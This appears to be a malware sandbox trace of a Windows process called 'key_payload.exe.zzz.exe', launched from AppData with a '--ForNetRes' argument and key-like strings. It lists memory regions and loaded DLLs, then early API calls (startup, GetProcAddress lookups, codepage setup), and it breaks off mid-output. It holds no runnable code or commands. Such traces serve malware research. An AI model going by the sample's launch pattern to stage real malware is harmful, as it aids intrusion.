0x0 region_type = private name = "private_0x000000007effe000" filename = "" Region: id = 648 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 649 start_va = 0x7fff0000 end_va = 0x7ffaf7a0ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 650 start_va = 0x7ffaf7a10000 end_va = 0x7ffaf7bd1fff entry_point = 0x7ffaf7a10000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 651 start_va = 0x7ffaf7bd2000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffaf7bd2000" filename = "" Region: id = 671 start_va = 0xd10000 end_va = 0xd1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 672 start_va = 0x73040000 end_va = 0x7308efff entry_point = 0x73040000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 673 start_va = 0x73090000 end_va = 0x73102fff entry_point = 0x73090000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 674 start_va = 0xd30000 end_va = 0xe2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 675 start_va = 0x73030000 end_va = 0x73037fff entry_point = 0x73030000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 681 start_va = 0xab0000 end_va = 0xabffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 682 start_va = 0xac0000 end_va = 0xac3fff entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 683 start_va = 0xad0000 end_va = 0xad0fff entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 684 start_va = 0xc70000 end_va = 0xcaffff entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 685 start_va = 0xcb0000 end_va = 0xcb0fff entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 686 start_va = 0xe30000 end_va = 0xeedfff entry_point = 0xe30000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 687 start_va = 0xef0000 end_va = 0xfeffff entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 688 start_va = 0x13f0000 end_va = 0x1577fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000013f0000" filename = "" Region: id = 689 start_va = 0x1580000 end_va = 0x1700fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001580000" filename = "" Region: id = 690 start_va = 0x1710000 end_va = 0x171ffff entry_point = 0x0 region_type = private name = "private_0x0000000001710000" filename = "" Region: id = 691 start_va = 0x1720000 end_va = 0x2b1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001720000" filename = "" Region: id = 692 start_va = 0x743a0000 end_va = 0x743c0fff entry_point = 0x743a0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 693 start_va = 0x743d0000 end_va = 0x743f2fff entry_point = 0x743d0000 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\SysWOW64\\winmmbase.dll" (normalized: "c:\\windows\\syswow64\\winmmbase.dll") Region: id = 694 start_va = 0x74400000 end_va = 0x7456afff entry_point = 0x74400000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10240.16384_none_d15682eeaf714889\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10240.16384_none_d15682eeaf714889\\gdiplus.dll") Region: id = 695 start_va = 0x74570000 end_va = 0x7458afff entry_point = 0x74570000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 696 start_va = 0x74590000 end_va = 0x745b3fff entry_point = 0x74590000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 697 start_va = 0x745c0000 end_va = 0x74612fff entry_point = 0x745c0000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 698 start_va = 0x74620000 end_va = 0x74636fff entry_point = 0x74620000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 699 start_va = 0x74640000 end_va = 0x7465dfff entry_point = 0x74640000 region_type = mapped_file name = "oledlg.dll" filename = "\\Windows\\SysWOW64\\oledlg.dll" (normalized: "c:\\windows\\syswow64\\oledlg.dll") Region: id = 700 start_va = 0x74660000 end_va = 0x746c6fff entry_point = 0x74660000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 701 start_va = 0x746d0000 end_va = 0x748d8fff entry_point = 0x746d0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll") Region: id = 702 start_va = 0x748e0000 end_va = 0x748e5fff entry_point = 0x748e0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 703 start_va = 0x74910000 end_va = 0x74984fff entry_point = 0x74910000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 704 start_va = 0x74a30000 end_va = 0x74a88fff entry_point = 0x74a30000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 705 start_va = 0x74a90000 end_va = 0x74a99fff entry_point = 0x74a90000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 706 start_va = 0x74aa0000 end_va = 0x74abdfff entry_point = 0x74aa0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 707 start_va = 0x74ac0000 end_va = 0x74ac6fff entry_point = 0x74ac0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 708 start_va = 0x74ad0000 end_va = 0x74c0ffff entry_point = 0x74ad0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 709 start_va = 0x74c10000 end_va = 0x74c53fff entry_point = 0x74c10000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 710 start_va = 0x74c60000 end_va = 0x74cdafff entry_point = 0x74c60000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 711 start_va = 0x74ce0000 end_va = 0x74d23fff entry_point = 0x74ce0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 712 start_va = 0x74d30000 end_va = 0x74ea5fff entry_point = 0x74d30000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 713 start_va = 0x74f70000 end_va = 0x75129fff entry_point = 0x74f70000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 714 start_va = 0x75130000 end_va = 0x7521ffff entry_point = 0x75130000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 715 start_va = 0x75220000 end_va = 0x7524afff entry_point = 0x75220000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 716 start_va = 0x752b0000 end_va = 0x752bbfff entry_point = 0x752b0000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 717 start_va = 0x752c0000 end_va = 0x7667efff entry_point = 0x752c0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 718 start_va = 0x76800000 end_va = 0x76cdcfff entry_point = 0x76800000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 719 start_va = 0x76ce0000 end_va = 0x76d71fff entry_point = 0x76ce0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 720 start_va = 0x76da0000 end_va = 0x76ebffff entry_point = 0x76da0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 721 start_va = 0x76ec0000 end_va = 0x76ec5fff entry_point = 0x76ec0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 722 start_va = 0x76ed0000 end_va = 0x76f2bfff entry_point = 0x76ed0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 723 start_va = 0x76f30000 end_va = 0x77019fff entry_point = 0x76f30000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 724 start_va = 0x77020000 end_va = 0x77055fff entry_point = 0x77020000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 725 start_va = 0x770b0000 end_va = 0x770f2fff entry_point = 0x770b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 726 start_va = 0x77100000 end_va = 0x7710efff entry_point = 0x77100000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 727 start_va = 0x771d0000 end_va = 0x7725cfff entry_point = 0x771d0000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 728 start_va = 0x772c0000 end_va = 0x7736bfff entry_point = 0x772c0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 729 start_va = 0x77370000 end_va = 0x774bcfff entry_point = 0x77370000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 730 start_va = 0x778d0000 end_va = 0x7798dfff entry_point = 0x778d0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 731 start_va = 0x7eed0000 end_va = 0x7efcffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007eed0000" filename = "" Region: id = 732 start_va = 0x7eff8000 end_va = 0x7effafff entry_point = 0x0 region_type = private name = "private_0x000000007eff8000" filename = "" Region: id = 733 start_va = 0xcc0000 end_va = 0xcc1fff entry_point = 0xcc0000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 734 start_va = 0xcd0000 end_va = 0xcd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cd0000" filename = "" Region: id = 735 start_va = 0x2ce0000 end_va = 0x2ceffff entry_point = 0x0 region_type = private name = "private_0x0000000002ce0000" filename = "" Region: id = 736 start_va = 0xff0000 end_va = 0x106ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 792 start_va = 0xce0000 end_va = 0xce0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ce0000" filename = "" Region: id = 793 start_va = 0x2b20000 end_va = 0x2bd7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b20000" filename = "" Region: id = 794 start_va = 0xce0000 end_va = 0xce3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ce0000" filename = "" Region: id = 795 start_va = 0xcf0000 end_va = 0xcf3fff entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 796 start_va = 0x2cf0000 end_va = 0x31e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cf0000" filename = "" Region: id = 803 start_va = 0xd00000 end_va = 0xd00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d00000" filename = "" Region: id = 804 start_va = 0x2cf0000 end_va = 0x3026fff entry_point = 0x2cf0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 805 start_va = 0x2be0000 end_va = 0x2cdffff entry_point = 0x0 region_type = private name = "private_0x0000000002be0000" filename = "" Region: id = 806 start_va = 0xd20000 end_va = 0xd20fff entry_point = 0x0 region_type = private name = "private_0x0000000000d20000" filename = "" Region: id = 812 start_va = 0x3030000 end_va = 0x3521fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003030000" filename = "" Region: id = 831 start_va = 0x1070000 end_va = 0x10affff entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 832 start_va = 0x3530000 end_va = 0x362ffff entry_point = 0x0 region_type = private name = "private_0x0000000003530000" filename = "" Region: id = 833 start_va = 0x7eff3000 end_va = 0x7eff5fff entry_point = 0x0 region_type = private name = "private_0x000000007eff3000" filename = "" Region: id = 834 start_va = 0x748f0000 end_va = 0x7490cfff entry_point = 0x748f0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 835 start_va = 0x10b0000 end_va = 0x10b3fff entry_point = 0x0 region_type = private name = "private_0x00000000010b0000" filename = "" Region: id = 836 start_va = 0x10c0000 end_va = 0x10c4fff entry_point = 0x10c0000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\user32.dll.mui") Region: id = 916 start_va = 0x3030000 end_va = 0x3521fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003030000" filename = "" Region: id = 917 start_va = 0x3630000 end_va = 0x466ffff entry_point = 0x3630000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 922 start_va = 0x10d0000 end_va = 0x110ffff entry_point = 0x0 region_type = private name = "private_0x00000000010d0000" filename = "" Region: id = 923 start_va = 0x4670000 end_va = 0x476ffff entry_point = 0x0 region_type = private name = "private_0x0000000004670000" filename = "" Region: id = 924 start_va = 0x4770000 end_va = 0x4770fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004770000" filename = "" Region: id = 925 start_va = 0x7eecd000 end_va = 0x7eecffff entry_point = 0x0 region_type = private name = "private_0x000000007eecd000" filename = "" Region: id = 926 start_va = 0x741f0000 end_va = 0x741f8fff entry_point = 0x741f0000 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\SysWOW64\\drprov.dll" (normalized: "c:\\windows\\syswow64\\drprov.dll") Region: id = 927 start_va = 0x741a0000 end_va = 0x741e3fff entry_point = 0x741a0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 928 start_va = 0x74180000 end_va = 0x74191fff entry_point = 0x74180000 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\SysWOW64\\ntlanman.dll" (normalized: "c:\\windows\\syswow64\\ntlanman.dll") Region: id = 929 start_va = 0x74160000 end_va = 0x74179fff entry_point = 0x74160000 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\SysWOW64\\davclnt.dll" (normalized: "c:\\windows\\syswow64\\davclnt.dll") Region: id = 930 start_va = 0x74150000 end_va = 0x7415afff entry_point = 0x74150000 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\SysWOW64\\davhlpr.dll" (normalized: "c:\\windows\\syswow64\\davhlpr.dll") Region: id = 931 start_va = 0x74140000 end_va = 0x7414ffff entry_point = 0x74140000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 932 start_va = 0x74130000 end_va = 0x7413efff entry_point = 0x74130000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 933 start_va = 0x74120000 end_va = 0x74129fff entry_point = 0x74120000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 934 start_va = 0x74110000 end_va = 0x7411efff entry_point = 0x74110000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 935 start_va = 0x4780000 end_va = 0x485efff entry_point = 0x4780000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Thread: id = 54 os_tid = 0xc08 [0227.766] GetStartupInfoW (in: lpStartupInfo=0xc3f730 | out: lpStartupInfo=0xc3f730*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0227.767] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0227.767] GetProcAddress (hModule=0x75130000, lpProcName=0x133ad34) returned 0x7514a330 [0227.767] GetProcAddress (hModule=0x75130000, lpProcName="FlsFree") returned 0x7514f400 [0227.767] GetProcAddress (hModule=0x75130000, lpProcName="FlsGetValue") returned 0x75147580 [0227.767] GetProcAddress (hModule=0x75130000, lpProcName="FlsSetValue") returned 0x75149910 [0227.767] GetProcAddress (hModule=0x75130000, lpProcName="InitializeCriticalSectionEx") returned 0x75156030 [0227.767] GetProcAddress (hModule=0x75130000, lpProcName="CreateEventExW") returned 0x75155f90 [0227.767] GetProcAddress (hModule=0x75130000, lpProcName="CreateSemaphoreExW") returned 0x75155ff0 [0227.768] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadStackGuarantee") returned 0x7514a5d0 [0227.768] GetProcAddress (hModule=0x75130000, lpProcName="CreateThreadpoolTimer") returned 0x7514a690 [0227.768] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadpoolTimer") returned 0x779c40f0 [0227.768] GetProcAddress (hModule=0x75130000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x779bd630 [0227.768] GetProcAddress (hModule=0x75130000, lpProcName="CloseThreadpoolTimer") returned 0x779becf0 [0227.768] GetProcAddress (hModule=0x75130000, lpProcName="CreateThreadpoolWait") returned 0x75155720 [0227.768] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadpoolWait") returned 0x779be140 [0227.768] GetProcAddress (hModule=0x75130000, lpProcName="CloseThreadpoolWait") returned 0x779beb60 [0227.768] GetProcAddress (hModule=0x75130000, lpProcName="FlushProcessWriteBuffers") returned 0x779f9990 [0227.768] GetProcAddress (hModule=0x75130000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x779f5540 [0227.768] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcessorNumber") returned 0x779e9dc0 [0227.768] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformation") returned 0x7514a550 [0227.768] GetProcAddress (hModule=0x75130000, lpProcName="CreateSymbolicLinkW") returned 0x75170a40 [0227.769] GetProcAddress (hModule=0x75130000, lpProcName="SetDefaultDllDirectories") returned 0x74e60790 [0227.769] GetProcAddress (hModule=0x75130000, lpProcName="EnumSystemLocalesEx") returned 0x7514f8a0 [0227.769] GetProcAddress (hModule=0x75130000, lpProcName=0x13131e4) returned 0x7514fa30 [0227.769] GetProcAddress (hModule=0x75130000, lpProcName="GetDateFormatEx") returned 0x75171030 [0227.769] GetProcAddress (hModule=0x75130000, lpProcName="GetLocaleInfoEx") returned 0x7514a000 [0227.769] GetProcAddress (hModule=0x75130000, lpProcName="GetTimeFormatEx") returned 0x751714b0 [0227.769] GetProcAddress (hModule=0x75130000, lpProcName="GetUserDefaultLocaleName") returned 0x7514a4f0 [0227.769] GetProcAddress (hModule=0x75130000, lpProcName="IsValidLocaleName") returned 0x751716f0 [0227.769] GetProcAddress (hModule=0x75130000, lpProcName="LCMapStringEx") returned 0x75149970 [0227.769] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentPackageId") returned 0x74de3c90 [0227.769] GetProcAddress (hModule=0x75130000, lpProcName="GetTickCount64") returned 0x75148710 [0227.769] GetProcAddress (hModule=0x75130000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0227.769] GetProcAddress (hModule=0x75130000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0227.770] GetCurrentThreadId () returned 0xc08 [0227.770] GetStartupInfoW (in: lpStartupInfo=0xc3f700 | out: lpStartupInfo=0xc3f700*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x127bca2, hStdOutput=0xc83b09c7, hStdError=0x1272227)) [0227.770] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0227.770] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0227.770] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0227.770] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --ForNetRes x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0" [0227.770] GetEnvironmentStringsW () returned 0xd66c10* [0227.770] FreeEnvironmentStringsW (penv=0xd66c10) returned 1 [0227.770] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1398068, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0227.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xc3f74c | out: lpSystemTimeAsFileTime=0xc3f74c*(dwLowDateTime=0x3313da9a, dwHighDateTime=0x1d43869)) [0227.771] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0227.771] GetLastError () returned 0x0 [0227.771] SetLastError (dwErrCode=0x0) [0227.771] GetLastError () returned 0x0 [0227.771] SetLastError (dwErrCode=0x0) [0227.772] GetLastError () returned 0x0 [0227.772] SetLastError (dwErrCode=0x0) [0227.772] GetACP () returned 0x4e4 [0227.772] GetLastError () returned 0x0 [0227.772] SetLastError (dwErrCode=0x0) [0227.772] IsValidCodePage (CodePage=0x4e4) returned 1 [0227.772] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xc3f6f4 | out: lpCPInfo=0xc3f6f4) returned 1 [0227.772] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xc3f1bc | out: lpCPInfo=0xc3f1bc) returned 1 [0227.772] GetLastError () returned 0x0 [0227.772] SetLastError (dwErrCode=0x0) [0227.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xc3f5d0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0227.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xc3f5d0, cbMultiByte=256, lpWideCharStr=0xc3ef38, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0227.772] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpCharType=0xc3f1d0 | out: lpCharType=0xc3f1d0) returned 1 [0227.772] GetLastError () returned 0x0 [0227.772] SetLastError (dwErrCode=0x0) [0227.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xc3f5d0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0227.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xc3f5d0, cbMultiByte=256, lpWideCharStr=0xc3ef08, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 